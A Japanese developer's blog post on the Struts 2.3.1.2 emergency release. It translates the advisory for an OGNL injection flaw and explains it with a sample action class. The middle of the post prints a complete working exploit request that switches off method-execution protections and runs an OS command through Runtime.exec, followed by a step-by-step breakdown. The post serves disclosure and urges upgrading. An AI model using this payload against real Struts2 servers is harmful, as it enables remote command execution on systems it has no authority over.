読者です 読者をやめる 読者になる 読者になる

この日記は私的なものであり、所属会社の見解ではありません。 GitHub: takahashikzn

Struts-2.3.1.2緊急リリース

Struts2

以前のリリースで、OGNL式の解釈にまつわるセキュリティ問題が解消されましたが、
またOGNL式の解釈で致命的な問題が見つかりました
というわけでStruts-2.3.1.2がリリースされています。


今回のリリースで解消された問題は次の通り。例によって手抜き翻訳なのはご勘弁を。

OGNL provides, among other features, extensive expression evaluation capabilities. The vulnerability allows a malicious user to bypass all the protections (regex pattern, deny method invocation) built into the ParametersInterceptor, thus being able to inject a malicious expression in any exposed string variable for further evaluation.


A similar behavior was already addressed in S2-003 and S2-005, but it turned out that the resulting fix based on whitelisting acceptable parameter names closed the vulnerability only partially.
Regular expression in ParametersInterceptor matches top['foo'](0) as a valid expression, which OGNL treats as (top['foo'])(0) and evaluates the value of 'foo' action parameter as an OGNL expression. This lets malicious users put arbitrary OGNL statements into any String variable exposed by an action and have it evaluated as an OGNL expression and since OGNL statement is in HTTP parameter value attacker can use blacklisted characters (e.g. #) to disable method execution and execute arbitrary methods, bypassing the ParametersInterceptor and OGNL library protections.



OGNLは、柔軟な式評価の仕組みを備えていますが、今回ここに脆弱性が見つかりました。
現状、ParameterInterceptorで実施しているHTTPパラメータの汎化処理(→パラメータ値をフィールドにセットする処理)において、
OGNL式を使った任意のメソッド実行を防ぐため、メソッド呼び出し式を正規表現で検知し、ブロックするというプロテクションが存在しています。
しかし残念がら、これをバイパスして悪意のある式を実行させる手段が存在することがわかりました。



同じような問題は既にS2-003およびS2-005にて報告されていましたが、これらの対応策として採用されたのは「パラメータ名のホワイトリスト化」であり、
これは今回の脆弱性を部分的にしか解消できていませんでした。



ParameterInterceptorは top['foo'](0) のようなものを正常な式として扱いますが、これはOGNL的に (top['foo'])(0) と解釈されます。
そしてこの時、 'foo' の値(すなわち top['foo'] の評価結果)はOGNLの式として解釈されます。
従って悪意のあるユーザーが、HTTPパラメータの中に悪意のあるOGNL式を埋め込んでおき、それをOGNL式として解釈させることで
メソッド呼び出しを禁止するためにブラックリスト扱いだった文字(つまり '#')を使用することができ、
結果としてParameterInterceptorやOGNLのプロテクションをバイパスすることが出来るのです。

サンプルコード

例えば、アクションクラスが以下のような感じだとして、

public class FooAction {
    private String foo;

    public String execute() {
        return "success";
    }
    public String getFoo() {
        return foo;
    }

    public void setFoo(String foo) {
        this.foo = foo;
    }
}


次のようなHTTPリクエストを受け取ったとします。

/action?foo=(#context["xwork.MethodAccessor.denyMethodExecution"]= new java.lang.Boolean(false), #_memberAccess["allowStaticMethodAccess"]= new java.lang.Boolean(true), @java.lang.Runtime@getRuntime().exec('mkdir /tmp/PWNAGE'))(meh)&top['foo'](0)=true


クエリパラメータを見てみると、以下の2つに分解可能。

foo=(
    #context["xwork.MethodAccessor.denyMethodExecution"]= new java.lang.Boolean(false),
    #_memberAccess["allowStaticMethodAccess"]= new java.lang.Boolean(true),
    @java.lang.Runtime@getRuntime().exec('mkdir /tmp/PWNAGE')
)(meh)

top['foo'](0)=true

で、コレが何なのかというと、

  • まずFooAction#fooに、悪意のあるOGNL式を設定する(この時点では単なる文字列として扱われる)
    • 「メソッド呼び出し禁止プロテクションを外し、スタティックメソッド呼び出しを許可し、java.lang.Runtime#execを呼び出す」という式。
  • 次に、top['foo']で、FooAction#fooをOGNL式として参照させ、(0)を付けてその式をさらに評価させる

ということをやってます。


以上の結果として、任意のOSコマンド(この場合は'mkdir /tmp/PWNAGE')が実行されてしまう、というわけです。
余計な"(meh)"は、プロテクションを騙すために付け足しているだけかな?

さすがにちょっと。。。

恐ろしいですねこの脆弱性。
OSコマンドまで実行できるとなると、もはや何でもアリじゃないですか。。。


Struts2をお使いの皆さん、今すぐ更新することを強く推奨します!